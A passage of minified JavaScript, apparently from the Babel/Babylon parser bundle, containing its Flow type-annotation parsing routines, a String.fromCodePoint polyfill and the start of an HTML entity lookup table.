this.toAssignable.apply(this,[t.value,r].concat(i)),t;if("ObjectExpression"===t.type){t.type="ObjectPattern";for(var a=t.properties,o=Array.isArray(a),u=0,a=o?a:a[Symbol.iterator]();;){var l;if(o){if(u>=a.length)break;l=a[u++]}else{if(u=a.next(),u.done)break;l=u.value}var c=l;"get"===c.kind||"set"===c.kind?this.raise(c.key.start,"Object pattern can't contain getter or setter"):c.method?this.raise(c.key.start,"Object pattern can't contain methods"):this.toAssignable(c,r,"object destructuring pattern")}return t}return e.call.apply(e,[this,t,r].concat(i))}})},ue=["any","mixed","empty","bool","boolean","number","string","void","null"],le=J.prototype;le.flowParseTypeInitialiser=function(e){var t=this.state.inType;this.state.inType=!0,this.expect(e||R.colon);var r=this.flowParseType();return this.state.inType=t,r},le.flowParsePredicate=function(){var e=this.startNode(),t=this.state.startLoc,r=this.state.start;this.expect(R.modulo);var n=this.state.startLoc;return this.expectContextual("checks"),t.line===n.line&&t.column===n.column-1||this.raise(r,"Spaces between ´%´ and ´checks´ are not allowed here."),this.eat(R.parenL)?(e.expression=this.parseExpression(),this.expect(R.parenR),this.finishNode(e,"DeclaredPredicate")):this.finishNode(e,"InferredPredicate")},le.flowParseTypeAndPredicateInitialiser=function(){var e=this.state.inType;this.state.inType=!0,this.expect(R.colon);var t=null,r=null;return this.match(R.modulo)?(this.state.inType=e,r=this.flowParsePredicate()):(t=this.flowParseType(),this.state.inType=e,this.match(R.modulo)&&(r=this.flowParsePredicate())),[t,r]},le.flowParseDeclareClass=function(e){return this.next(),this.flowParseInterfaceish(e,!0),this.finishNode(e,"DeclareClass")},le.flowParseDeclareFunction=function(e){this.next();var t=e.id=this.parseIdentifier(),r=this.startNode(),n=this.startNode();this.isRelational("<")?r.typeParameters=this.flowParseTypeParameterDeclaration():r.typeParameters=null,this.expect(R.parenL);var i=this.flowParseFunctionTypeParams();r.params=i.params,r.rest=i.rest,this.expect(R.parenR);var s=null,a=this.flowParseTypeAndPredicateInitialiser();return r.returnType=a[0],s=a[1],n.typeAnnotation=this.finishNode(r,"FunctionTypeAnnotation"),n.predicate=s,t.typeAnnotation=this.finishNode(n,"TypeAnnotation"),this.finishNode(t,t.type),this.semicolon(),this.finishNode(e,"DeclareFunction")},le.flowParseDeclare=function(e){return this.match(R._class)?this.flowParseDeclareClass(e):this.match(R._function)?this.flowParseDeclareFunction(e):this.match(R._var)?this.flowParseDeclareVariable(e):this.isContextual("module")?this.lookahead().type===R.dot?this.flowParseDeclareModuleExports(e):this.flowParseDeclareModule(e):this.isContextual("type")?this.flowParseDeclareTypeAlias(e):this.isContextual("opaque")?this.flowParseDeclareOpaqueType(e):this.isContextual("interface")?this.flowParseDeclareInterface(e):this.match(R._export)?this.flowParseDeclareExportDeclaration(e):void this.unexpected()},le.flowParseDeclareExportDeclaration=function(e){if(this.expect(R._export),this.isContextual("opaque"))return e.declaration=this.flowParseDeclare(this.startNode()),e.default=!1,this.finishNode(e,"DeclareExportDeclaration");throw this.unexpected()},le.flowParseDeclareVariable=function(e){return this.next(),e.id=this.flowParseTypeAnnotatableIdentifier(),this.semicolon(),this.finishNode(e,"DeclareVariable")},le.flowParseDeclareModule=function(e){this.next(),this.match(R.string)?e.id=this.parseExprAtom():e.id=this.parseIdentifier();var t=e.body=this.startNode(),r=t.body=[];for(this.expect(R.braceL);!this.match(R.braceR);){var n=this.startNode();if(this.match(R._import)){var i=this.lookahead();"type"!==i.value&&"typeof"!==i.value&&this.unexpected(null,"Imports within a `declare module` body must always be `import type` or `import typeof`"),this.parseImport(n)}else this.expectContextual("declare","Only declares and type imports are allowed inside declare module"),n=this.flowParseDeclare(n,!0);r.push(n)}return this.expect(R.braceR),this.finishNode(t,"BlockStatement"),this.finishNode(e,"DeclareModule")},le.flowParseDeclareModuleExports=function(e){return this.expectContextual("module"),this.expect(R.dot),this.expectContextual("exports"),e.typeAnnotation=this.flowParseTypeAnnotation(),this.semicolon(),this.finishNode(e,"DeclareModuleExports")},le.flowParseDeclareTypeAlias=function(e){return this.next(),this.flowParseTypeAlias(e),this.finishNode(e,"DeclareTypeAlias")},le.flowParseDeclareOpaqueType=function(e){return this.next(),this.flowParseOpaqueType(e,!0),this.finishNode(e,"DeclareOpaqueType")},le.flowParseDeclareInterface=function(e){return this.next(),this.flowParseInterfaceish(e),this.finishNode(e,"DeclareInterface")},le.flowParseInterfaceish=function(e){if(e.id=this.parseIdentifier(),this.isRelational("<")?e.typeParameters=this.flowParseTypeParameterDeclaration():e.typeParameters=null,e.extends=[],e.mixins=[],this.eat(R._extends))do{e.extends.push(this.flowParseInterfaceExtends())}while(this.eat(R.comma));if(this.isContextual("mixins")){this.next();do{e.mixins.push(this.flowParseInterfaceExtends())}while(this.eat(R.comma))}e.body=this.flowParseObjectType(!0,!1,!1)},le.flowParseInterfaceExtends=function(){var e=this.startNode();return e.id=this.flowParseQualifiedTypeIdentifier(),this.isRelational("<")?e.typeParameters=this.flowParseTypeParameterInstantiation():e.typeParameters=null,this.finishNode(e,"InterfaceExtends")},le.flowParseInterface=function(e){return this.flowParseInterfaceish(e,!1),this.finishNode(e,"InterfaceDeclaration")},le.flowParseRestrictedIdentifier=function(e){return ue.indexOf(this.state.value)>-1&&this.raise(this.state.start,"Cannot overwrite primitive type "+this.state.value),this.parseIdentifier(e)},le.flowParseTypeAlias=function(e){return e.id=this.flowParseRestrictedIdentifier(),this.isRelational("<")?e.typeParameters=this.flowParseTypeParameterDeclaration():e.typeParameters=null,e.right=this.flowParseTypeInitialiser(R.eq),this.semicolon(),this.finishNode(e,"TypeAlias")},le.flowParseOpaqueType=function(e,t){return this.expectContextual("type"),e.id=this.flowParseRestrictedIdentifier(),this.isRelational("<")?e.typeParameters=this.flowParseTypeParameterDeclaration():e.typeParameters=null,e.supertype=null,this.match(R.colon)&&(e.supertype=this.flowParseTypeInitialiser(R.colon)),e.impltype=null,t||(e.impltype=this.flowParseTypeInitialiser(R.eq)),this.semicolon(),this.finishNode(e,"OpaqueType")},le.flowParseTypeParameter=function(){var e=this.startNode(),t=this.flowParseVariance(),r=this.flowParseTypeAnnotatableIdentifier();return e.name=r.name,e.variance=t,e.bound=r.typeAnnotation,this.match(R.eq)&&(this.eat(R.eq),e.default=this.flowParseType()),this.finishNode(e,"TypeParameter")},le.flowParseTypeParameterDeclaration=function(){var e=this.state.inType,t=this.startNode();t.params=[],this.state.inType=!0,this.isRelational("<")||this.match(R.jsxTagStart)?this.next():this.unexpected();do{t.params.push(this.flowParseTypeParameter()),this.isRelational(">")||this.expect(R.comma)}while(!this.isRelational(">"));return this.expectRelational(">"),this.state.inType=e,this.finishNode(t,"TypeParameterDeclaration")},le.flowParseTypeParameterInstantiation=function(){var e=this.startNode(),t=this.state.inType;for(e.params=[],this.state.inType=!0,this.expectRelational("<");!this.isRelational(">");)e.params.push(this.flowParseType()),this.isRelational(">")||this.expect(R.comma);return this.expectRelational(">"),this.state.inType=t,this.finishNode(e,"TypeParameterInstantiation")},le.flowParseObjectPropertyKey=function(){return this.match(R.num)||this.match(R.string)?this.parseExprAtom():this.parseIdentifier(!0)},le.flowParseObjectTypeIndexer=function(e,t,r){return e.static=t,this.expect(R.bracketL),this.lookahead().type===R.colon?(e.id=this.flowParseObjectPropertyKey(),e.key=this.flowParseTypeInitialiser()):(e.id=null,e.key=this.flowParseType()),this.expect(R.bracketR),e.value=this.flowParseTypeInitialiser(),e.variance=r,this.flowObjectTypeSemicolon(),this.finishNode(e,"ObjectTypeIndexer")},le.flowParseObjectTypeMethodish=function(e){for(e.params=[],e.rest=null,e.typeParameters=null,this.isRelational("<")&&(e.typeParameters=this.flowParseTypeParameterDeclaration()),this.expect(R.parenL);!this.match(R.parenR)&&!this.match(R.ellipsis);)e.params.push(this.flowParseFunctionTypeParam()),this.match(R.parenR)||this.expect(R.comma);return this.eat(R.ellipsis)&&(e.rest=this.flowParseFunctionTypeParam()),this.expect(R.parenR),e.returnType=this.flowParseTypeInitialiser(),this.finishNode(e,"FunctionTypeAnnotation")},le.flowParseObjectTypeMethod=function(e,t,r,n){var i=this.startNodeAt(e,t);return i.value=this.flowParseObjectTypeMethodish(this.startNodeAt(e,t)),i.static=r,i.key=n,i.optional=!1,this.flowObjectTypeSemicolon(),this.finishNode(i,"ObjectTypeProperty")},le.flowParseObjectTypeCallProperty=function(e,t){var r=this.startNode();return e.static=t,e.value=this.flowParseObjectTypeMethodish(r),this.flowObjectTypeSemicolon(),this.finishNode(e,"ObjectTypeCallProperty")},le.flowParseObjectType=function(e,t,r){var n=this.state.inType;this.state.inType=!0;var i=this.startNode(),s=void 0,a=void 0,o=!1;i.callProperties=[],i.properties=[],i.indexers=[];var u=void 0,l=void 0;for(t&&this.match(R.braceBarL)?(this.expect(R.braceBarL),u=R.braceBarR,l=!0):(this.expect(R.braceL),u=R.braceR,l=!1),i.exact=l;!this.match(u);){var c=!1,f=this.state.start,p=this.state.startLoc;s=this.startNode(),e&&this.isContextual("static")&&this.lookahead().type!==R.colon&&(this.next(),o=!0);var d=this.state.start,h=this.flowParseVariance();this.match(R.bracketL)?i.indexers.push(this.flowParseObjectTypeIndexer(s,o,h)):this.match(R.parenL)||this.isRelational("<")?(h&&this.unexpected(d),i.callProperties.push(this.flowParseObjectTypeCallProperty(s,o))):this.match(R.ellipsis)?(r||this.unexpected(null,"Spread operator cannot appear in class or interface definitions"),h&&this.unexpected(h.start,"Spread properties cannot have variance"),this.expect(R.ellipsis),s.argument=this.flowParseType(),this.flowObjectTypeSemicolon(),i.properties.push(this.finishNode(s,"ObjectTypeSpreadProperty"))):(a=this.flowParseObjectPropertyKey(),this.isRelational("<")||this.match(R.parenL)?(h&&this.unexpected(h.start),i.properties.push(this.flowParseObjectTypeMethod(f,p,o,a))):(this.eat(R.question)&&(c=!0),s.key=a,s.value=this.flowParseTypeInitialiser(),s.optional=c,s.static=o,s.variance=h,this.flowObjectTypeSemicolon(),i.properties.push(this.finishNode(s,"ObjectTypeProperty")))),o=!1}this.expect(u);var m=this.finishNode(i,"ObjectTypeAnnotation");return this.state.inType=n,m},le.flowObjectTypeSemicolon=function(){this.eat(R.semi)||this.eat(R.comma)||this.match(R.braceR)||this.match(R.braceBarR)||this.unexpected()},le.flowParseQualifiedTypeIdentifier=function(e,t,r){e=e||this.state.start,t=t||this.state.startLoc;for(var n=r||this.parseIdentifier();this.eat(R.dot);){var i=this.startNodeAt(e,t);i.qualification=n,i.id=this.parseIdentifier(),n=this.finishNode(i,"QualifiedTypeIdentifier")}return n},le.flowParseGenericType=function(e,t,r){var n=this.startNodeAt(e,t);return n.typeParameters=null,n.id=this.flowParseQualifiedTypeIdentifier(e,t,r),this.isRelational("<")&&(n.typeParameters=this.flowParseTypeParameterInstantiation()),this.finishNode(n,"GenericTypeAnnotation")},le.flowParseTypeofType=function(){var e=this.startNode();return this.expect(R._typeof),e.argument=this.flowParsePrimaryType(),this.finishNode(e,"TypeofTypeAnnotation")},le.flowParseTupleType=function(){var e=this.startNode();for(e.types=[],this.expect(R.bracketL);this.state.pos<this.input.length&&!this.match(R.bracketR)&&(e.types.push(this.flowParseType()),!this.match(R.bracketR));)this.expect(R.comma);return this.expect(R.bracketR),this.finishNode(e,"TupleTypeAnnotation")},le.flowParseFunctionTypeParam=function(){var e=null,t=!1,r=null,n=this.startNode(),i=this.lookahead();return i.type===R.colon||i.type===R.question?(e=this.parseIdentifier(),this.eat(R.question)&&(t=!0),r=this.flowParseTypeInitialiser()):r=this.flowParseType(),n.name=e,n.optional=t,n.typeAnnotation=r,this.finishNode(n,"FunctionTypeParam")},le.reinterpretTypeAsFunctionTypeParam=function(e){var t=this.startNodeAt(e.start,e.loc.start);return t.name=null,t.optional=!1,t.typeAnnotation=e,this.finishNode(t,"FunctionTypeParam")},le.flowParseFunctionTypeParams=function(){for(var e=arguments.length>0&&void 0!==arguments[0]?arguments[0]:[],t={params:e,rest:null};!this.match(R.parenR)&&!this.match(R.ellipsis);)t.params.push(this.flowParseFunctionTypeParam()),this.match(R.parenR)||this.expect(R.comma);return this.eat(R.ellipsis)&&(t.rest=this.flowParseFunctionTypeParam()),t},le.flowIdentToTypeAnnotation=function(e,t,r,n){switch(n.name){case"any":return this.finishNode(r,"AnyTypeAnnotation");case"void":return this.finishNode(r,"VoidTypeAnnotation");case"bool":case"boolean":return this.finishNode(r,"BooleanTypeAnnotation");case"mixed":return this.finishNode(r,"MixedTypeAnnotation");case"empty":return this.finishNode(r,"EmptyTypeAnnotation");case"number":return this.finishNode(r,"NumberTypeAnnotation");case"string":return this.finishNode(r,"StringTypeAnnotation");default:return this.flowParseGenericType(e,t,n)}},le.flowParsePrimaryType=function(){var e=this.state.start,t=this.state.startLoc,r=this.startNode(),n=void 0,i=void 0,s=!1,a=this.state.noAnonFunctionType;switch(this.state.type){case R.name:return this.flowIdentToTypeAnnotation(e,t,r,this.parseIdentifier());case R.braceL:return this.flowParseObjectType(!1,!1,!0);case R.braceBarL:return this.flowParseObjectType(!1,!0,!0);case R.bracketL:return this.flowParseTupleType();case R.relational:if("<"===this.state.value)return r.typeParameters=this.flowParseTypeParameterDeclaration(),this.expect(R.parenL),n=this.flowParseFunctionTypeParams(),r.params=n.params,r.rest=n.rest,this.expect(R.parenR),this.expect(R.arrow),r.returnType=this.flowParseType(),this.finishNode(r,"FunctionTypeAnnotation");break;case R.parenL:if(this.next(),!this.match(R.parenR)&&!this.match(R.ellipsis))if(this.match(R.name)){var o=this.lookahead().type;s=o!==R.question&&o!==R.colon}else s=!0;if(s){if(this.state.noAnonFunctionType=!1,i=this.flowParseType(),this.state.noAnonFunctionType=a,this.state.noAnonFunctionType||!(this.match(R.comma)||this.match(R.parenR)&&this.lookahead().type===R.arrow))return this.expect(R.parenR),i;this.eat(R.comma)}return n=i?this.flowParseFunctionTypeParams([this.reinterpretTypeAsFunctionTypeParam(i)]):this.flowParseFunctionTypeParams(),r.params=n.params,r.rest=n.rest,this.expect(R.parenR),this.expect(R.arrow),r.returnType=this.flowParseType(),r.typeParameters=null,this.finishNode(r,"FunctionTypeAnnotation");case R.string:return this.parseLiteral(this.state.value,"StringLiteralTypeAnnotation");case R._true:case R._false:return r.value=this.match(R._true),this.next(),this.finishNode(r,"BooleanLiteralTypeAnnotation");case R.plusMin:if("-"===this.state.value)return this.next(),
this.match(R.num)||this.unexpected(null,"Unexpected token, expected number"),this.parseLiteral(-this.state.value,"NumericLiteralTypeAnnotation",r.start,r.loc.start);this.unexpected();case R.num:return this.parseLiteral(this.state.value,"NumericLiteralTypeAnnotation");case R._null:return r.value=this.match(R._null),this.next(),this.finishNode(r,"NullLiteralTypeAnnotation");case R._this:return r.value=this.match(R._this),this.next(),this.finishNode(r,"ThisTypeAnnotation");case R.star:return this.next(),this.finishNode(r,"ExistentialTypeParam");default:if("typeof"===this.state.type.keyword)return this.flowParseTypeofType()}this.unexpected()},le.flowParsePostfixType=function(){for(var e=this.state.start,t=this.state.startLoc,r=this.flowParsePrimaryType();!this.canInsertSemicolon()&&this.match(R.bracketL);){var n=this.startNodeAt(e,t);n.elementType=r,this.expect(R.bracketL),this.expect(R.bracketR),r=this.finishNode(n,"ArrayTypeAnnotation")}return r},le.flowParsePrefixType=function(){var e=this.startNode();return this.eat(R.question)?(e.typeAnnotation=this.flowParsePrefixType(),this.finishNode(e,"NullableTypeAnnotation")):this.flowParsePostfixType()},le.flowParseAnonFunctionWithoutParens=function(){var e=this.flowParsePrefixType();if(!this.state.noAnonFunctionType&&this.eat(R.arrow)){var t=this.startNodeAt(e.start,e.loc.start);return t.params=[this.reinterpretTypeAsFunctionTypeParam(e)],t.rest=null,t.returnType=this.flowParseType(),t.typeParameters=null,this.finishNode(t,"FunctionTypeAnnotation")}return e},le.flowParseIntersectionType=function(){var e=this.startNode();this.eat(R.bitwiseAND);var t=this.flowParseAnonFunctionWithoutParens();for(e.types=[t];this.eat(R.bitwiseAND);)e.types.push(this.flowParseAnonFunctionWithoutParens());return 1===e.types.length?t:this.finishNode(e,"IntersectionTypeAnnotation")},le.flowParseUnionType=function(){var e=this.startNode();this.eat(R.bitwiseOR);var t=this.flowParseIntersectionType();for(e.types=[t];this.eat(R.bitwiseOR);)e.types.push(this.flowParseIntersectionType());return 1===e.types.length?t:this.finishNode(e,"UnionTypeAnnotation")},le.flowParseType=function(){var e=this.state.inType;this.state.inType=!0;var t=this.flowParseUnionType();return this.state.inType=e,t},le.flowParseTypeAnnotation=function(){var e=this.startNode();return e.typeAnnotation=this.flowParseTypeInitialiser(),this.finishNode(e,"TypeAnnotation")},le.flowParseTypeAndPredicateAnnotation=function(){var e=this.startNode(),t=this.flowParseTypeAndPredicateInitialiser();return e.typeAnnotation=t[0],e.predicate=t[1],this.finishNode(e,"TypeAnnotation")},le.flowParseTypeAnnotatableIdentifier=function(){var e=this.flowParseRestrictedIdentifier();return this.match(R.colon)&&(e.typeAnnotation=this.flowParseTypeAnnotation(),this.finishNode(e,e.type)),e},le.typeCastToParameter=function(e){return e.expression.typeAnnotation=e.typeAnnotation,this.finishNodeAt(e.expression,e.expression.type,e.typeAnnotation.end,e.typeAnnotation.loc.end)},le.flowParseVariance=function(){var e=null;return this.match(R.plusMin)&&("+"===this.state.value?e="plus":"-"===this.state.value&&(e="minus"),this.next()),e};var ce=function(e){e.extend("parseFunctionBody",function(e){return function(t,r){return this.match(R.colon)&&!r&&(t.returnType=this.flowParseTypeAndPredicateAnnotation()),e.call(this,t,r)}}),e.extend("parseStatement",function(e){return function(t,r){if(this.state.strict&&this.match(R.name)&&"interface"===this.state.value){var n=this.startNode();return this.next(),this.flowParseInterface(n)}return e.call(this,t,r)}}),e.extend("parseExpressionStatement",function(e){return function(t,r){if("Identifier"===r.type)if("declare"===r.name){if(this.match(R._class)||this.match(R.name)||this.match(R._function)||this.match(R._var)||this.match(R._export))return this.flowParseDeclare(t)}else if(this.match(R.name)){if("interface"===r.name)return this.flowParseInterface(t);if("type"===r.name)return this.flowParseTypeAlias(t);if("opaque"===r.name)return this.flowParseOpaqueType(t,!1)}return e.call(this,t,r)}}),e.extend("shouldParseExportDeclaration",function(e){return function(){return this.isContextual("type")||this.isContextual("interface")||this.isContextual("opaque")||e.call(this)}}),e.extend("isExportDefaultSpecifier",function(e){return function(){return(!this.match(R.name)||"type"!==this.state.value&&"interface"!==this.state.value&&"opaque"!==this.state.value)&&e.call(this)}}),e.extend("parseConditional",function(e){return function(t,r,n,i,s){if(s&&this.match(R.question)){var a=this.state.clone();try{return e.call(this,t,r,n,i)}catch(e){if(e instanceof SyntaxError)return this.state=a,s.start=e.pos||this.state.start,t;throw e}}return e.call(this,t,r,n,i)}}),e.extend("parseParenItem",function(e){return function(t,r,n){if(t=e.call(this,t,r,n),this.eat(R.question)&&(t.optional=!0),this.match(R.colon)){var i=this.startNodeAt(r,n);return i.expression=t,i.typeAnnotation=this.flowParseTypeAnnotation(),this.finishNode(i,"TypeCastExpression")}return t}}),e.extend("parseExport",function(e){return function(t){return t=e.call(this,t),"ExportNamedDeclaration"===t.type&&(t.exportKind=t.exportKind||"value"),t}}),e.extend("parseExportDeclaration",function(e){return function(t){if(this.isContextual("type")){t.exportKind="type";var r=this.startNode();return this.next(),this.match(R.braceL)?(t.specifiers=this.parseExportSpecifiers(),this.parseExportFrom(t),null):this.flowParseTypeAlias(r)}if(this.isContextual("opaque")){t.exportKind="type";var n=this.startNode();return this.next(),this.flowParseOpaqueType(n,!1)}if(this.isContextual("interface")){t.exportKind="type";var i=this.startNode();return this.next(),this.flowParseInterface(i)}return e.call(this,t)}}),e.extend("parseClassId",function(e){return function(t){e.apply(this,arguments),this.isRelational("<")&&(t.typeParameters=this.flowParseTypeParameterDeclaration())}}),e.extend("isKeyword",function(e){return function(t){return(!this.state.inType||"void"!==t)&&e.call(this,t)}}),e.extend("readToken",function(e){return function(t){return!this.state.inType||62!==t&&60!==t?e.call(this,t):this.finishOp(R.relational,1)}}),e.extend("jsx_readToken",function(e){return function(){if(!this.state.inType)return e.call(this)}}),e.extend("toAssignable",function(e){return function(t,r,n){return"TypeCastExpression"===t.type?e.call(this,this.typeCastToParameter(t),r,n):e.call(this,t,r,n)}}),e.extend("toAssignableList",function(e){return function(t,r,n){for(var i=0;i<t.length;i++){var s=t[i];s&&"TypeCastExpression"===s.type&&(t[i]=this.typeCastToParameter(s))}return e.call(this,t,r,n)}}),e.extend("toReferencedList",function(){return function(e){for(var t=0;t<e.length;t++){var r=e[t];r&&r._exprListItem&&"TypeCastExpression"===r.type&&this.raise(r.start,"Unexpected type cast")}return e}}),e.extend("parseExprListItem",function(e){return function(){for(var t=this.startNode(),r=arguments.length,n=Array(r),i=0;i<r;i++)n[i]=arguments[i];var s=e.call.apply(e,[this].concat(n));return this.match(R.colon)?(t._exprListItem=!0,t.expression=s,t.typeAnnotation=this.flowParseTypeAnnotation(),this.finishNode(t,"TypeCastExpression")):s}}),e.extend("checkLVal",function(e){return function(t){if("TypeCastExpression"!==t.type)return e.apply(this,arguments)}}),e.extend("parseClassProperty",function(e){return function(t){return delete t.variancePos,this.match(R.colon)&&(t.typeAnnotation=this.flowParseTypeAnnotation()),e.call(this,t)}}),e.extend("isClassMethod",function(e){return function(){return this.isRelational("<")||e.call(this)}}),e.extend("isClassProperty",function(e){return function(){return this.match(R.colon)||e.call(this)}}),e.extend("isNonstaticConstructor",function(e){return function(t){return!this.match(R.colon)&&e.call(this,t)}}),e.extend("parseClassMethod",function(e){return function(t,r){r.variance&&this.unexpected(r.variancePos),delete r.variance,delete r.variancePos,this.isRelational("<")&&(r.typeParameters=this.flowParseTypeParameterDeclaration());for(var n=arguments.length,i=Array(n>2?n-2:0),s=2;s<n;s++)i[s-2]=arguments[s];e.call.apply(e,[this,t,r].concat(i))}}),e.extend("parseClassSuper",function(e){return function(t,r){if(e.call(this,t,r),t.superClass&&this.isRelational("<")&&(t.superTypeParameters=this.flowParseTypeParameterInstantiation()),this.isContextual("implements")){this.next();var n=t.implements=[];do{var i=this.startNode();i.id=this.parseIdentifier(),this.isRelational("<")?i.typeParameters=this.flowParseTypeParameterInstantiation():i.typeParameters=null,n.push(this.finishNode(i,"ClassImplements"))}while(this.eat(R.comma))}}}),e.extend("parsePropertyName",function(e){return function(t){var r=this.state.start,n=this.flowParseVariance(),i=e.call(this,t);return t.variance=n,t.variancePos=r,i}}),e.extend("parseObjPropValue",function(e){return function(t){t.variance&&this.unexpected(t.variancePos),delete t.variance,delete t.variancePos;var r=void 0;this.isRelational("<")&&(r=this.flowParseTypeParameterDeclaration(),this.match(R.parenL)||this.unexpected()),e.apply(this,arguments),r&&((t.value||t).typeParameters=r)}}),e.extend("parseAssignableListItemTypes",function(){return function(e){return this.eat(R.question)&&(e.optional=!0),this.match(R.colon)&&(e.typeAnnotation=this.flowParseTypeAnnotation()),this.finishNode(e,e.type),e}}),e.extend("parseMaybeDefault",function(e){return function(){for(var t=arguments.length,r=Array(t),n=0;n<t;n++)r[n]=arguments[n];var i=e.apply(this,r);return"AssignmentPattern"===i.type&&i.typeAnnotation&&i.right.start<i.typeAnnotation.start&&this.raise(i.typeAnnotation.start,"Type annotations must come before default assignments, e.g. instead of `age = 25: number` use `age: number = 25`"),i}}),e.extend("parseImportSpecifiers",function(e){return function(t){t.importKind="value";var r=null;if(this.match(R._typeof)?r="typeof":this.isContextual("type")&&(r="type"),r){var n=this.lookahead();(n.type===R.name&&"from"!==n.value||n.type===R.braceL||n.type===R.star)&&(this.next(),t.importKind=r)}e.call(this,t)}}),e.extend("parseImportSpecifier",function(){return function(e){var t=this.startNode(),r=this.state.start,n=this.parseIdentifier(!0),i=null;"type"===n.name?i="type":"typeof"===n.name&&(i="typeof");var s=!1;if(this.isContextual("as")){var a=this.parseIdentifier(!0);null===i||this.match(R.name)||this.state.type.keyword?(t.imported=n,t.importKind=null,t.local=this.parseIdentifier()):(t.imported=a,t.importKind=i,t.local=a.__clone())}else null!==i&&(this.match(R.name)||this.state.type.keyword)?(t.imported=this.parseIdentifier(!0),t.importKind=i,this.eatContextual("as")?t.local=this.parseIdentifier():(s=!0,t.local=t.imported.__clone())):(s=!0,t.imported=n,t.importKind=null,t.local=t.imported.__clone());"type"!==e.importKind&&"typeof"!==e.importKind||"type"!==t.importKind&&"typeof"!==t.importKind||this.raise(r,"`The `type` and `typeof` keywords on named imports can only be used on regular `import` statements. It cannot be used with `import type` or `import typeof` statements`"),s&&this.checkReservedWord(t.local.name,t.start,!0,!0),this.checkLVal(t.local,!0,void 0,"import specifier"),e.specifiers.push(this.finishNode(t,"ImportSpecifier"))}}),e.extend("parseFunctionParams",function(e){return function(t){this.isRelational("<")&&(t.typeParameters=this.flowParseTypeParameterDeclaration()),e.call(this,t)}}),e.extend("parseVarHead",function(e){return function(t){e.call(this,t),this.match(R.colon)&&(t.id.typeAnnotation=this.flowParseTypeAnnotation(),this.finishNode(t.id,t.id.type))}}),e.extend("parseAsyncArrowFromCallExpression",function(e){return function(t,r){if(this.match(R.colon)){var n=this.state.noAnonFunctionType;this.state.noAnonFunctionType=!0,t.returnType=this.flowParseTypeAnnotation(),this.state.noAnonFunctionType=n}return e.call(this,t,r)}}),e.extend("shouldParseAsyncArrow",function(e){return function(){return this.match(R.colon)||e.call(this)}}),e.extend("parseMaybeAssign",function(e){return function(){for(var t=null,r=arguments.length,n=Array(r),i=0;i<r;i++)n[i]=arguments[i];if(R.jsxTagStart&&this.match(R.jsxTagStart)){var s=this.state.clone();try{return e.apply(this,n)}catch(e){if(!(e instanceof SyntaxError))throw e;this.state=s,this.state.context.length-=2,t=e}}if(null!=t||this.isRelational("<")){var a=void 0,o=void 0;try{o=this.flowParseTypeParameterDeclaration(),a=e.apply(this,n),a.typeParameters=o,a.start=o.start,a.loc.start=o.loc.start}catch(e){throw t||e}if("ArrowFunctionExpression"===a.type)return a;if(null!=t)throw t;this.raise(o.start,"Expected an arrow function after this type parameter declaration")}return e.apply(this,n)}}),e.extend("parseArrow",function(e){return function(t){if(this.match(R.colon)){var r=this.state.clone();try{var n=this.state.noAnonFunctionType;this.state.noAnonFunctionType=!0;var i=this.flowParseTypeAndPredicateAnnotation();this.state.noAnonFunctionType=n,this.canInsertSemicolon()&&this.unexpected(),this.match(R.arrow)||this.unexpected(),t.returnType=i}catch(e){if(!(e instanceof SyntaxError))throw e;this.state=r}}return e.call(this,t)}}),e.extend("shouldParseArrow",function(e){return function(){return this.match(R.colon)||e.call(this)}})},fe=String.fromCodePoint;if(!fe){var pe=String.fromCharCode,de=Math.floor;fe=function(){var e=[],t=void 0,r=void 0,n=-1,i=arguments.length;if(!i)return"";for(var s="";++n<i;){var a=Number(arguments[n]);if(!isFinite(a)||a<0||a>1114111||de(a)!=a)throw RangeError("Invalid code point: "+a);a<=65535?e.push(a):(a-=65536,t=55296+(a>>10),r=a%1024+56320,e.push(t,r)),(n+1==i||e.length>16384)&&(s+=pe.apply(null,e),e.length=0)}return s}}var he=fe,me={quot:'"',amp:"&",apos:"'",lt:"<",gt:">",nbsp:" ",iexcl:"¡",cent:"¢",pound:"£",curren:"¤",yen:"¥",brvbar:"¦",sect:"§",uml:"¨",copy:"©",ordf:"ª",laquo:"«",not:"¬",shy:"­",reg:"®",macr:"¯",deg:"°",plusmn:"±",sup2:"²",sup3:"³",acute:"´",micro:"µ",para:"¶",middot:"·",cedil:"¸",sup1:"¹",ordm:"º",raquo:"»",frac14:"¼",frac12:"½",frac34:"¾",iquest:"¿",Agrave:"À",Aacute:"Á",Acirc:"Â",Atilde:"Ã",Auml:"Ä",Aring:"Å",AElig:"Æ",Ccedil:"Ç",Egrave:"È",Eacute:"É",Ecirc:"Ê",Euml:"Ë",Igrave:"Ì",Iacute:"Í",Icirc:"Î",Iuml:"Ï",ETH:"Ð",Ntilde:"Ñ",Ograve:"Ò",Oacute:"Ó",Ocirc:"Ô",Otilde:"Õ",Ouml:"Ö",times:"×",Oslash:"Ø",Ugrave:"Ù",Uacute:"Ú",Ucirc:"Û",Uuml:"Ü",Yacute:"Ý",THORN:"Þ",szlig:"ß",agrave:"à",aacute:"á",acirc:"â",atilde:"ã",auml:"ä",aring:"å",aelig:"æ",ccedil:"ç",egrave:"è",eacute:"é",ecirc:"ê",euml:"ë",igrave:"ì",iacute:"í",icirc:"î",iuml:"ï",eth:"ð",ntilde:"ñ",ograve:"ò",oacute:"ó",ocirc:"ô",otilde:"õ",ouml:"ö",divide:"÷",oslash:"ø",ugrave:"ù",uacute:"ú",ucirc:"û",uuml:"ü",yacute:"ý",thorn:"þ",yuml:"ÿ",OElig:"Œ",oelig:"œ",Scaron:"Š",scaron:"š",Yuml:"Ÿ",fnof:"ƒ",circ:"ˆ",tilde:"˜",Alpha:"Α",Beta:"Β",Gamma:"Γ",Delta:"Δ",Epsilon:"Ε",Zeta:"Ζ",Eta:"Η",Theta:"Θ",Iota:"Ι",Kappa:"Κ",Lambda:"Λ",Mu:"Μ",Nu:"Ν",Xi:"Ξ",Omicron:"Ο",Pi:"Π",Rho:"Ρ",Sigma:"Σ",Tau:"Τ",Upsilon:"Υ",Phi:"Φ",Chi:"Χ",Psi:"Ψ",Omega:"Ω",alpha:"α",beta:"β",gamma:"γ",delta:"δ",epsilon:"ε",zeta:"ζ",eta:"η",theta:"θ",iota:"ι",kappa:"κ",lambda:"λ",mu:"μ",nu:"ν",xi:"ξ",omicron:"ο",pi:"π",rho:"ρ",sigmaf:"ς",sigma:"σ",tau:"τ",upsilon:"υ",phi:"φ",chi:"χ",psi:"ψ",omega:"ω",thetasym:"ϑ",upsih:"ϒ",piv:"ϖ",ensp:" ",emsp:" ",thinsp:" 